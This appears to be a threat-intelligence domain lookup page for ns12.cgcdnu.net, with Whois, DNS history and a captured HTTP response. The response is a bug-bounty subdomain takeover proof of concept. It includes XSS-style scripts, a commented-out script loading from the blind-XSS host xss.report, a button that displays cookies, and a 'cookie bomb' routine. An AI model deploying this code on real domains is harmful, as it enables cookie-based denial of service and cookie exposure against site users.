Domain > ns12.cgcdnu.net

More information on this domain is in AlienVault OTX

Whois

Property	Value
NameServer	NS2.CGCDNU.NET
Created	2016-07-15 21:38:06
Changed	2020-01-02 00:58:58
Registrar	ALIBABA.COM SINGAPOR

DNS Resolutions

Date	IP Address
2017-01-16	174.35.49.33 (ClassC)
2024-11-18	38.242.148.189 (ClassC)

Port 80

HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 23:22:33 GMTServer: Apache/2.4.41 (Ubuntu)Vary: Accept-EncodingContent-Length: 3776Content-Type: text/html; charsetUTF-8

h1>Bozkurt97 / Bozx Subdomain Takeover PoC for Security testingscript>confirm(document.domain);confirm(9);/script>!--script srchttps://xss.report/c/bozx>/script>-->!--Intigriti, Bugcrowd, Hackerone and miscellaneous nicknames of mine are Bozkurt97 or else Bozx-->!DOCTYPE html>html langen>head>    meta charsetUTF-8>    meta nameviewport contentwidthdevice-width, initial-scale1.0>    title>Subdomain Takeover PoC/title>    style>        #dnsResults {            margin-top: 20px;            padding: 10px;            border: 1px solid #ccc;            background-color: #f8f8f8;            font-family: monospace;            white-space: pre-wrap;        }    /style>/head>body>    h2>Subdomain Takeover PoC/h2>    !-- Button to alert domain and cookies -->    button idalertButton>Alert Domain & Cookie/button>    br>br>    !-- Button to perform cookie bombing -->    button idcookieBombButton>Cookie Bomb the Main Domain/button>    br>br>    h3>DNS Records:/h3>    div iddnsResults>Loading DNS records.../div>    script>        // Button to alert document.domain and document.cookie        document.getElementById(alertButton).onclick  function() {            alert(Domain:  + document.domain + \nCookie:  + document.cookie);        };        // Button to set multiple cookies on the main domain (cookie bombing)        document.getElementById(cookieBombButton).onclick  function() {            const mainDomain  document.domain.split(.).slice(-2).join(.);                        for (let i  0; i  20; i++) {                const randomValue  Math.random().toString(36).substring(2);                document.cookie  `bomb${i}${randomValue}; domain.${mainDomain}; path/; expiresFri, 31 Dec 9999 23:59:59 GMT;`;            }            alert(Cookie bombing completed on main domain:  + mainDomain);        };        // Function to fetch DNS records using an API        async function fetchDNSRecords() {            const domain  document.domain;            const dnsResultsDiv  document.getElementById(dnsResults);            try {                const response  await fetch(`https://dns.google/resolve?name${domain}&typeANY`);                const data  await response.json();                                if (data.Status ! 0 || !data.Answer) {                    dnsResultsDiv.textContent  No DNS records found or an error occurred.;                    return;                }                // Parse and display DNS records                let result  `DNS Records for ${domain.toUpperCase()}:\n\n`;                data.Answer.forEach(record > {                    result + `Type: ${record.type} (${getRecordType(record.type)})\n`;                    result + `Name: ${record.name}\n`;                    result + `Data: ${record.data}\n`;                    result + `TTL: ${record.TTL}\n\n`;                });                dnsResultsDiv.textContent  result;            } catch (error) {                dnsResultsDiv.textContent  Error fetching DNS records:  + error.message;            }        }        // Function to convert DNS record type numbers to their names        function getRecordType(type) {            const types  {                1: A,                5: CNAME,                28: AAAA,                15: MX,                16: TXT,                2: NS,                6: SOA,                12: PTR,                33: SRV,                44: SSHFP            };            return typestype || UNKNOWN;        }        // Fetch DNS records on page load        fetchDNSRecords();    /script>/body>/html>..

Subdomains

Date	Domain	IP
ns12.cgcdnu.net	2024-11-18	38.242.148.189

View on OTX | View on ThreatMiner

Data with thanks to AlienVault OTX, VirusTotal, Malwr and others. [Sitemap]

Domain > ns12.cgcdnu.net

Is this malicious?

Whois

DNS Resolutions

Port 80

Subdomains